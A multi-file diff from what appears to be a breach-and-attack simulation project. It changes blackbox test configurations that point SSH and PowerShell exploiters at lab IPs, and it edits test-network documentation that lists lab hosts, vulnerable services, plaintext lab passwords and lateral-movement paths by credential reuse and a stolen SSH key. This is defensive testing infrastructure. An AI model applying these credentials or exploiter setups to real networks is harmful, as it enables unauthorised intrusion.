propagation_credentials=CREDENTIALS,
)

View File

@ -6,8 +6,6 @@ from common.credentials import Credentials, Password, Username
from .noop import noop_test_configuration from .noop import noop_test_configuration
from .utils import ( from .utils import (
add_exploiters, add_exploiters,
add_fingerprinters,
add_http_ports,
add_subnets, add_subnets,
add_tcp_ports, add_tcp_ports,
replace_agent_configuration, replace_agent_configuration,
@ -18,50 +16,30 @@ from .utils import (
# Tests: # Tests:
# SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12) # SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12)
# Powershell credential reuse (logging in without credentials
# to an identical user on another machine)(10.2.3.44, 10.2.3.46)
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [ brute_force = [
PluginConfiguration(name="SSHExploiter", options={}), PluginConfiguration(name="SSHExploiter", options={}),
PluginConfiguration(name="PowerShellExploiter", options={}),
] ]
vulnerability = [ return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
PluginConfiguration(name="Log4ShellExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=vulnerability)
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration: def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [ subnets = [
"10.2.2.11", "10.2.2.11",
"10.2.2.12", "10.2.2.12",
"10.2.3.44",
"10.2.3.46",
] ]
return add_subnets(agent_configuration, subnets) return add_subnets(agent_configuration, subnets)
def _add_fingerprinters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
fingerprinters = [PluginConfiguration(name="http", options={})]
return add_fingerprinters(agent_configuration, fingerprinters)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration: def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [22, 5985, 5986, 8080] ports = [22]
return add_tcp_ports(agent_configuration, ports) return add_tcp_ports(agent_configuration, ports)
def _add_http_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
return add_http_ports(agent_configuration, [8080])
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 2) test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 2)
test_agent_configuration = _add_exploiters(test_agent_configuration) test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration) test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_fingerprinters(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration) test_agent_configuration = _add_tcp_ports(test_agent_configuration)
test_agent_configuration = _add_http_ports(test_agent_configuration)
CREDENTIALS = ( CREDENTIALS = (
Credentials(identity=Username(username="m0nk3y"), secret=None), Credentials(identity=Username(username="m0nk3y"), secret=None),

View File

@ -34,6 +34,7 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [ subnets = [
"10.2.2.9", "10.2.2.9",
"10.2.3.45", "10.2.3.45",
"10.2.3.46",
"10.2.3.47", "10.2.3.47",
"10.2.3.48", "10.2.3.48",
"10.2.1.10", "10.2.1.10",

View File

@ -22,7 +22,7 @@ _custom_pba_configuration = CustomPBAConfiguration(
_tcp_scan_configuration = TCPScanConfiguration(timeout=3.0, ports=[]) _tcp_scan_configuration = TCPScanConfiguration(timeout=3.0, ports=[])
_icmp_scan_configuration = ICMPScanConfiguration(timeout=1.0) _icmp_scan_configuration = ICMPScanConfiguration(timeout=1.0)
_scan_target_configuration = ScanTargetConfiguration( _scan_target_configuration = ScanTargetConfiguration(
blocked_ips=[], inaccessible_subnets=[], scan_my_networks=False, subnets=[] blocked_ips=[], inaccessible_subnets=[], local_network_scan=False, subnets=[]
) )
_network_scan_configuration = NetworkScanConfiguration( _network_scan_configuration = NetworkScanConfiguration(
tcp=_tcp_scan_configuration, tcp=_tcp_scan_configuration,

View File

@ -0,0 +1,44 @@
import dataclasses
from common.agent_configuration import AgentConfiguration, PluginConfiguration
from .noop import noop_test_configuration
from .utils import (
add_exploiters,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
set_maximum_depth,
)
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="PowerShellExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.3.46",
]
return add_subnets(agent_configuration, subnets)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [5985, 5986]
return add_tcp_ports(agent_configuration, ports)
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 1)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
powershell_credentials_reuse_test_configuration = dataclasses.replace(noop_test_configuration)
replace_agent_configuration(
test_configuration=powershell_credentials_reuse_test_configuration,
agent_configuration=test_agent_configuration,
)

View File

@ -28,9 +28,6 @@ This document describes Infection Monkeys test network, how to deploy and use
[Nr. 3-46 Powershell](#_Toc536021480)<br> [Nr. 3-46 Powershell](#_Toc536021480)<br>
[Nr. 3-47 Powershell](#_Toc536021481)<br> [Nr. 3-47 Powershell](#_Toc536021481)<br>
[Nr. 3-48 Powershell](#_Toc536021482)<br> [Nr. 3-48 Powershell](#_Toc536021482)<br>
[Nr. 14 Credentials Reuse](#_Toc536121480)<br>
[Nr. 15 Credentials Reuse](#_Toc536121481)<br>
[Nr. 16 Credentials Reuse](#_Toc536121482)<br>
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br> [Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br> [Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br> [Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
@ -759,38 +756,6 @@ This prevents ssh exploitation, but allows tunneling.</td>
</tbody> </tbody>
</table> </table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021479" class="anchor"></span>Nr. <strong>3-44 Powershell</strong></p>
<p>(10.2.3.44)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
</tr>
<tr class="odd">
<td>Default servers port: 5985, 5986</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: nPj8rbc3<br>
Accessible using the same m0nk3y user from powershell-3-46,
in other words powershell exploiter can exploit
this machine without credentials as long as the user running the agent has
the same credentials on both machines</td>
</tr>
</tbody>
</table>
<table> <table>
<thead> <thead>
<tr class="header"> <tr class="header">
@ -836,17 +801,17 @@ Accessibale through Island using m0nk3y-user.</td>
<tr class="even"> <tr class="even">
<td>Software:</td> <td>Software:</td>
<td>WinRM service</td> <td>WinRM service</td>
<td>Tomcat 8.0.36</td>
</tr> </tr>
<tr class="odd"> <tr class="odd">
<td>Default servers port:8080</td> <td>Default servers port:</td>
<td>-</td> <td>-</td>
</tr> </tr>
<tr class="even"> <tr class="even">
<td>Notes:</td> <td>Notes:</td>
<td>User: m0nk3y, Password: nPj8rbc3<br> <td>User: m0nk3y, Password: nPj8rbc3<br>
Exploited from island via log4shell(tomcat). Then uses cached powershell credentials to Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit
propagate to powershell-3-44</td> this machine without credentials as long as the user running the agent is the same on both
machines</td>
</tr> </tr>
</tbody> </tbody>
</table> </table>
@ -909,120 +874,6 @@ Accessiable only through <strong>3-45 Powershell</strong> using credentials reus
</tbody> </tbody>
</table> </table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121480" class="anchor"></span>Nr. <strong>14</strong> Credentials Reuse</p>
<p>(10.2.3.14, 10.2.4.14)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:u26gbVQe</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can only access Credentials Reuse 15 and Island.</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Island with password authentication</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121481" class="anchor"></span>Nr. <strong>15</strong> Credentials Reuse</p>
<p>(10.2.4.15, 10.2.5.15)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:5BuYHeVl</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can be only accessed by Credentials Reuse 14 and communicate to<br>
Credentials Reuse 16.
</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Credentials Reuse 14 with password authentication</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121482" class="anchor"></span>Nr. <strong>16</strong> Credentials Reuse</p>
<p>(10.2.3.16, 10.2.5.16)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:lIZl6vTR</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can be only accessed by Credentials Reuse 15 and communicate to<br>
the Island.
</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Credentials Reuse 15 with passwordless ssh key authentication.<br>
We use the ssh key that was stolen from Credentials Reuse 16</td>
</tr>
</tbody>
</table>
<table> <table>
<thead> <thead>
<tr class="header"> <tr class="header">

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

View File

@ -1 +0,0 @@
<mxfile host="app.diagrams.net" modified="2022-09-23T15:01:54.105Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" etag="spZrDzUM2aBFwquXRZY8" version="20.3.0" type="device"><diagram id="YCekmHjAy1LVhBsJn630" name="Page-1">7VjbjpswEP2aSO1DEGBIyOPmst1WqZRqpV6eVg444K3B1Di3/fraYC4OyXajJKKqKuWBGXuM58zxGZMemMS7Dwym0WcaINKzzWDXA9OebVuObffkzwz2hWc4cgpHyHCgJtWOR/yClNNU3jUOUKZN5JQSjlPd6dMkQT7XfJAxutWnrSjR35rCELUcjz4kbe83HPCo8HquWfsfEA6j8s2WqUZiWE5WjiyCAd02XGDWAxNGKS+e4t0EEQleiUsRd39itNoYQwl/S4CN5unz0yd7/JBEwfPw69MX8KuvVsn4vkwYBSJ/ZVLGIxrSBJJZ7R0zuk4CJFc1hVXPmVOaCqclnM+I870qJlxzKlwRj4kaFRtm++8qPjd+SMOw3dKe7pqj072yVpiQCSWU5VsFK89Hvi/8GWf0J2qMLD3XcWVEkZ7M6SRqJQR0zXz0ClSKyByyEPHXIHWq4opTgWiMRAoikCECOd7oG4GKnmE1T4XeMQb3jQkpxQnPGisvpENMUCfNBopm6pzZgwM2nDdfPBQ7OBE9PIh2R8ZIz6jAScVpCzdQqV05Wc8gbqkrG0jWCtI5DZ3HSMS+4zT2IX9/lNtzuBQSpfEREhwm4tkXnECCQeMNYhwLDbhTAzEOgoL6KMMvcJmvJ+mlqiIWd8c9d1oRTi6AdlqllUCp4FoWmlQ8fUTbdFKr98WxsSxPq8agsM4j3BGGaIv2HX0Bulpl6DalbVX2Y0ZgErTKqQvRNsIcPaYwP8Rb0Y30Ip8sTEsLTmI9OiC9U5F+W7eGqgFEjbbgmafR1+A7FyvQiX7vMM/l2zBLsxBwz1Vmrd/S2DeMBWJYpC6P2fTKAm05b1RouwuBBgNLYw+wLhFcYLYEt8DndoLrdntVMNzmZcH6m28KbyciuJCJF2lH2ScaQrugW8SyqAj2GQpE7hiSfEvrDP0bDbVg8kmVNw1rqHc+cFk/vX3HLAnXqGRaVbIP+o6o9IAITMZLJp5CnuN66LHEVcIAhjPovNGCwWGnNTvus2UODYRbKFUfeBKkAArwS8Qa6OgClNAEtdVqdu/d23IykUdrQTPMMT16nuYHE5aUi7vvkQPHpd62zyVdc4ITsZ3y41nuVuSRypTiXSi/6Y0NQjA24uxpi5Mg/6C+Ro0d57CjtWvsHCkxGBnerYo87KLFXbHxlFf2m9+ALoMZ/EGtnHPUyulcrSrV2eus7U6s2u3gv1hdtSFZtxQrYdb/ChZXhPq/VTD7DQ==</diagram></mxfile>

View File

@ -59,26 +59,10 @@ data "google_compute_image" "powershell-3-46" {
name = "powershell-3-46" name = "powershell-3-46"
project = local.monkeyzoo_project project = local.monkeyzoo_project
} }
data "google_compute_image" "powershell-3-44" {
name = "powershell-3-44"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-45" { data "google_compute_image" "powershell-3-45" {
name = "powershell-3-45" name = "powershell-3-45"
project = local.monkeyzoo_project project = local.monkeyzoo_project
} }
data "google_compute_image" "credentials-reuse-14" {
name = "credentials-reuse-14"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-15" {
name = "credentials-reuse-15"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-16" {
name = "credentials-reuse-16"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-solr-49" { data "google_compute_image" "log4j-solr-49" {
name = "log4j-solr-49" name = "log4j-solr-49"
project = local.monkeyzoo_project project = local.monkeyzoo_project

View File

@ -44,18 +44,6 @@ resource "google_compute_subnetwork" "tunneling2-main" {
network = google_compute_network.tunneling2.self_link network = google_compute_network.tunneling2.self_link
} }
resource "google_compute_subnetwork" "credential-reuse" {
name = "${local.resource_prefix}credential-reuse"
ip_cidr_range = "10.2.4.0/24"
network = google_compute_network.credential-reuse.self_link
}
resource "google_compute_subnetwork" "credential-reuse2" {
name = "${local.resource_prefix}credential-reuse2"
ip_cidr_range = "10.2.5.0/24"
network = google_compute_network.credential-reuse2.self_link
}
resource "google_compute_instance_from_template" "hadoop-2" { resource "google_compute_instance_from_template" "hadoop-2" {
name = "${local.resource_prefix}hadoop-2" name = "${local.resource_prefix}hadoop-2"
source_instance_template = local.default_ubuntu source_instance_template = local.default_ubuntu
@ -311,18 +299,18 @@ resource "google_compute_instance_from_template" "powershell-3-46" {
} }
} }
resource "google_compute_instance_from_template" "powershell-3-44" { resource "google_compute_instance_from_template" "powershell-3-45" {
name = "${local.resource_prefix}powershell-3-44" name = "${local.resource_prefix}powershell-3-45"
source_instance_template = local.default_windows source_instance_template = local.default_windows
boot_disk{ boot_disk{
initialize_params { initialize_params {
image = data.google_compute_image.powershell-3-44.self_link image = data.google_compute_image.powershell-3-45.self_link
} }
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.44" network_ip="10.2.3.45"
} }
} }
@ -336,68 +324,11 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
auto_delete = true auto_delete = true
} }
network_interface { network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1" subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.45" network_ip="10.2.3.45"
} }
} }
resource "google_compute_instance_from_template" "credentials-reuse-14" {
name = "${local.resource_prefix}credentials-reuse-14"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-14.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.14"
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse"
network_ip="10.2.4.14"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-15" {
name = "${local.resource_prefix}credentials-reuse-15"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-15.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse"
network_ip="10.2.4.15"
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse2"
network_ip="10.2.5.15"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-16" {
name = "${local.resource_prefix}credentials-reuse-16"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-16.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse2"
network_ip="10.2.5.16"
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.16"
}
}
resource "google_compute_instance_from_template" "log4j-solr-49" { resource "google_compute_instance_from_template" "log4j-solr-49" {
name = "${local.resource_prefix}log4j-solr-49" name = "${local.resource_prefix}log4j-solr-49"
source_instance_template = local.default_linux source_instance_template = local.default_linux

View File

@ -1,6 +1,3 @@
from ipaddress import IPv4Address
from typing import Collection
import pytest import pytest
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
@ -43,17 +40,18 @@ def island_client(island):
@pytest.mark.usefixtures("island_client") @pytest.mark.usefixtures("island_client")
# noinspection PyUnresolvedReferences # noinspection PyUnresolvedReferences
class TestOSCompatibility(object): class TestOSCompatibility(object):
def test_os_compat(self, island_client: MonkeyIslandClient): def test_os_compat(self, island_client):
print() print()
ips_that_communicated = self._get_agent_ips(island_client) all_monkeys = island_client.get_all_monkeys_from_db()
ips_that_communicated = []
for monkey in all_monkeys:
for ip in monkey["ip_addresses"]:
if ip in machine_list:
ips_that_communicated.append(ip)
break
for ip, os in machine_list.items(): for ip, os in machine_list.items():
if IPv4Address(ip) not in ips_that_communicated: if ip not in ips_that_communicated:
print("{} didn't communicate to island".format(os)) print("{} didn't communicate to island".format(os))
if len(ips_that_communicated) < len(machine_list): if len(ips_that_communicated) < len(machine_list):
assert False assert False
def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]:
agents = island_client.get_agents()
machines = island_client.get_machines()
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}

View File

@ -7,4 +7,3 @@ from .operating_system import OperatingSystem
from . import types from . import types
from . import base_models from . import base_models
from .agent_registration_data import AgentRegistrationData from .agent_registration_data import AgentRegistrationData
from .agent_signals import AgentSignals

View File

@ -12,7 +12,7 @@ from .agent_sub_configurations import (
class AgentConfiguration(MutableInfectionMonkeyBaseModel): class AgentConfiguration(MutableInfectionMonkeyBaseModel):
keep_tunnel_open_time: confloat(ge=0) # type: ignore[valid-type] keep_tunnel_open_time: confloat(ge=0)
custom_pbas: CustomPBAConfiguration custom_pbas: CustomPBAConfiguration
post_breach_actions: Tuple[PluginConfiguration, ...] post_breach_actions: Tuple[PluginConfiguration, ...]
credential_collectors: Tuple[PluginConfiguration, ...] credential_collectors: Tuple[PluginConfiguration, ...]

View File

@ -3,7 +3,6 @@ from typing import Dict, Tuple
from pydantic import PositiveFloat, conint, validator from pydantic import PositiveFloat, conint, validator
from common.base_models import MutableInfectionMonkeyBaseModel from common.base_models import MutableInfectionMonkeyBaseModel
from common.types import NetworkPort
from .validators import ( from .validators import (
validate_ip, validate_ip,
@ -80,8 +79,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
Example: ("1.1.1.1", "2.2.2.2") Example: ("1.1.1.1", "2.2.2.2")
:param inaccessible_subnets: Subnet ranges that shouldn't be accessible for the agent :param inaccessible_subnets: Subnet ranges that shouldn't be accessible for the agent
Example: ("1.1.1.1", "2.2.2.2/24", "myserver") Example: ("1.1.1.1", "2.2.2.2/24", "myserver")
:param scan_my_networks: If true the Agent will scan networks it belongs to :param local_network_scan: Whether or not the agent should scan the local network
in addition to the provided subnet ranges
:param subnets: Subnet ranges to scan :param subnets: Subnet ranges to scan
Example: ("192.168.1.1-192.168.2.255", "3.3.3.3", "2.2.2.2/24", Example: ("192.168.1.1-192.168.2.255", "3.3.3.3", "2.2.2.2/24",
"myHostname") "myHostname")
@ -89,7 +87,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
blocked_ips: Tuple[str, ...] blocked_ips: Tuple[str, ...]
inaccessible_subnets: Tuple[str, ...] inaccessible_subnets: Tuple[str, ...]
scan_my_networks: bool local_network_scan: bool
subnets: Tuple[str, ...] subnets: Tuple[str, ...]
@validator("blocked_ips", each_item=True) @validator("blocked_ips", each_item=True)
@ -129,7 +127,7 @@ class TCPScanConfiguration(MutableInfectionMonkeyBaseModel):
""" """
timeout: PositiveFloat timeout: PositiveFloat
ports: Tuple[NetworkPort, ...] ports: Tuple[conint(ge=0, le=65535), ...]
class NetworkScanConfiguration(MutableInfectionMonkeyBaseModel): class NetworkScanConfiguration(MutableInfectionMonkeyBaseModel):
@ -157,7 +155,7 @@ class ExploitationOptionsConfiguration(MutableInfectionMonkeyBaseModel):
:param http_ports: HTTP ports to exploit :param http_ports: HTTP ports to exploit
""" """
http_ports: Tuple[NetworkPort, ...] http_ports: Tuple[conint(ge=0, le=65535), ...]
class ExploitationConfiguration(MutableInfectionMonkeyBaseModel): class ExploitationConfiguration(MutableInfectionMonkeyBaseModel):
@ -187,6 +185,6 @@ class PropagationConfiguration(MutableInfectionMonkeyBaseModel):
:param exploitation: Configuration for exploitation :param exploitation: Configuration for exploitation
""" """
maximum_depth: conint(ge=0) # type: ignore[valid-type] maximum_depth: conint(ge=0)
network_scan: NetworkScanConfiguration network_scan: NetworkScanConfiguration
exploitation: ExploitationConfiguration exploitation: ExploitationConfiguration

View File

@ -78,7 +78,7 @@ FINGERPRINTERS = (
) )
SCAN_TARGET_CONFIGURATION = ScanTargetConfiguration( SCAN_TARGET_CONFIGURATION = ScanTargetConfiguration(
blocked_ips=tuple(), inaccessible_subnets=tuple(), scan_my_networks=False, subnets=tuple() blocked_ips=tuple(), inaccessible_subnets=tuple(), local_network_scan=True, subnets=tuple()
) )
NETWORK_SCAN_CONFIGURATION = NetworkScanConfiguration( NETWORK_SCAN_CONFIGURATION = NetworkScanConfiguration(
tcp=TCP_SCAN_CONFIGURATION, tcp=TCP_SCAN_CONFIGURATION,

View File

@ -1,5 +1,5 @@
from .consts import EVENT_TYPE_FIELD from .consts import EVENT_TYPE_FIELD
from .i_agent_event_serializer import IAgentEventSerializer from .i_agent_event_serializer import IAgentEventSerializer, JSONSerializable
from .agent_event_serializer_registry import AgentEventSerializerRegistry from .agent_event_serializer_registry import AgentEventSerializerRegistry
from .pydantic_agent_event_serializer import PydanticAgentEventSerializer from .pydantic_agent_event_serializer import PydanticAgentEventSerializer
from .register import register_common_agent_event_serializers from .register import register_common_agent_event_serializers

View File

@ -1,7 +1,17 @@
from abc import ABC, abstractmethod from abc import ABC, abstractmethod
from typing import Dict, List, Union
from common.agent_events import AbstractAgentEvent from common.agent_events import AbstractAgentEvent
from common.types import JSONSerializable
JSONSerializable = Union[ # type: ignore[misc]
Dict[str, "JSONSerializable"], # type: ignore[misc]
List["JSONSerializable"], # type: ignore[misc]
int,
str,
float,
bool,
None,
]
class IAgentEventSerializer(ABC): class IAgentEventSerializer(ABC):

View File

@ -2,10 +2,9 @@ import logging
from typing import Generic, Type, TypeVar from typing import Generic, Type, TypeVar
from common.agent_events import AbstractAgentEvent from common.agent_events import AbstractAgentEvent
from common.types import JSONSerializable
from common.utils.code_utils import del_key from common.utils.code_utils import del_key
from . import EVENT_TYPE_FIELD, IAgentEventSerializer from . import EVENT_TYPE_FIELD, IAgentEventSerializer, JSONSerializable
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)

View File

@ -1,10 +1,4 @@
from common.agent_events import ( from common.agent_events import CredentialsStolenEvent
CredentialsStolenEvent,
ExploitationEvent,
PingScanEvent,
PropagationEvent,
TCPScanEvent,
)
from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer
@ -15,7 +9,3 @@ def register_common_agent_event_serializers(
event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer( event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer(
CredentialsStolenEvent CredentialsStolenEvent
) )
event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent)
event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent)
event_serializer_registry[PropagationEvent] = PydanticAgentEventSerializer(PropagationEvent)
event_serializer_registry[ExploitationEvent] = PydanticAgentEventSerializer(ExploitationEvent)

View File

@ -1,6 +1,2 @@
from .abstract_agent_event import AbstractAgentEvent from .abstract_agent_event import AbstractAgentEvent
from .credentials_stolen_events import CredentialsStolenEvent from .credentials_stolen_events import CredentialsStolenEvent
from .ping_scan_event import PingScanEvent
from .tcp_scan_event import TCPScanEvent
from .exploitation_event import ExploitationEvent
from .propagation_event import PropagationEvent

View File

@ -25,6 +25,6 @@ class AbstractAgentEvent(InfectionMonkeyBaseModel, ABC):
""" """
source: AgentID source: AgentID
target: Union[IPv4Address, MachineID, None] = Field(default=None) target: Union[MachineID, IPv4Address, None] = Field(default=None)
timestamp: float = Field(default_factory=time.time) timestamp: float = Field(default_factory=time.time)
tags: FrozenSet[str] = Field(default_factory=frozenset) tags: FrozenSet[str] = Field(default_factory=frozenset)

View File

@ -1,22 +0,0 @@
from ipaddress import IPv4Address
from pydantic import Field
from . import AbstractAgentEvent
class ExploitationEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent exploits a host
Attributes:
:param target: IP address of the exploited system
:param success: Status of the exploitation
:param exploiter_name: Name of the exploiter that triggered the event
:param error_message: Message if an error occurs during exploitation
"""
target: IPv4Address
success: bool
exploiter_name: str
error_message: str = Field(default="")

View File

@ -1,21 +0,0 @@
from ipaddress import IPv4Address
from typing import Optional
from common import OperatingSystem
from . import AbstractAgentEvent
class PingScanEvent(AbstractAgentEvent):
"""
An event that occurs when the agent performs a ping scan on its network
Attributes:
:param target: IP address of the pinged system
:param response_received: Indicates if target responded to the ping
:param os: Operating system type determined by ICMP fingerprinting
"""
target: IPv4Address
response_received: bool
os: Optional[OperatingSystem]

View File

@ -1,22 +0,0 @@
from ipaddress import IPv4Address
from pydantic import Field
from . import AbstractAgentEvent
class PropagationEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent propagates on a host
Attributes:
:param target: IP address of the propagated system
:param success: Status of the propagation
:param exploiter_name: Name of the exploiter that propagated
:param error_message: Message if an error occurs during propagation
"""
target: IPv4Address
success: bool
exploiter_name: str
error_message: str = Field(default="")

View File

@ -1,19 +0,0 @@
from ipaddress import IPv4Address
from typing import Dict
from common.types import NetworkPort, PortStatus
from . import AbstractAgentEvent
class TCPScanEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent performs a TCP scan on a host
Attributes:
:param target: IP address of the scanned system
:param ports: The scanned ports and their status (open/closed)
"""
target: IPv4Address
ports: Dict[NetworkPort, PortStatus]

View File

@ -7,7 +7,7 @@ from pydantic import validator
from .base_models import InfectionMonkeyBaseModel from .base_models import InfectionMonkeyBaseModel
from .transforms import make_immutable_sequence from .transforms import make_immutable_sequence
from .types import HardwareID, SocketAddress from .types import HardwareID
class AgentRegistrationData(InfectionMonkeyBaseModel): class AgentRegistrationData(InfectionMonkeyBaseModel):
@ -15,7 +15,7 @@ class AgentRegistrationData(InfectionMonkeyBaseModel):
machine_hardware_id: HardwareID machine_hardware_id: HardwareID
start_time: datetime start_time: datetime
parent_id: Optional[UUID] parent_id: Optional[UUID]
cc_server: SocketAddress cc_server: str
network_interfaces: Sequence[IPv4Interface] network_interfaces: Sequence[IPv4Interface]
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)( _make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(

View File

@ -1,8 +0,0 @@
from datetime import datetime
from typing import Optional
from .base_models import InfectionMonkeyBaseModel
class AgentSignals(InfectionMonkeyBaseModel):
terminate: Optional[datetime]

View File

@ -10,11 +10,6 @@ class InfectionMonkeyModelConfig:
extra = Extra.forbid extra = Extra.forbid
class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig):
allow_mutation = True
validate_assignment = True
class InfectionMonkeyBaseModel(BaseModel): class InfectionMonkeyBaseModel(BaseModel):
class Config(InfectionMonkeyModelConfig): class Config(InfectionMonkeyModelConfig):
pass pass
@ -52,5 +47,6 @@ class InfectionMonkeyBaseModel(BaseModel):
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel): class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
class Config(MutableInfectionMonkeyModelConfig): class Config(InfectionMonkeyModelConfig):
pass allow_mutation = True
validate_assignment = True

View File

@ -1,6 +1,6 @@
import inspect import inspect
from contextlib import suppress from contextlib import suppress
from typing import Any, Sequence, Type, TypeVar, no_type_check from typing import Any, Sequence, Type, TypeVar
from common.utils.code_utils import del_key from common.utils.code_utils import del_key
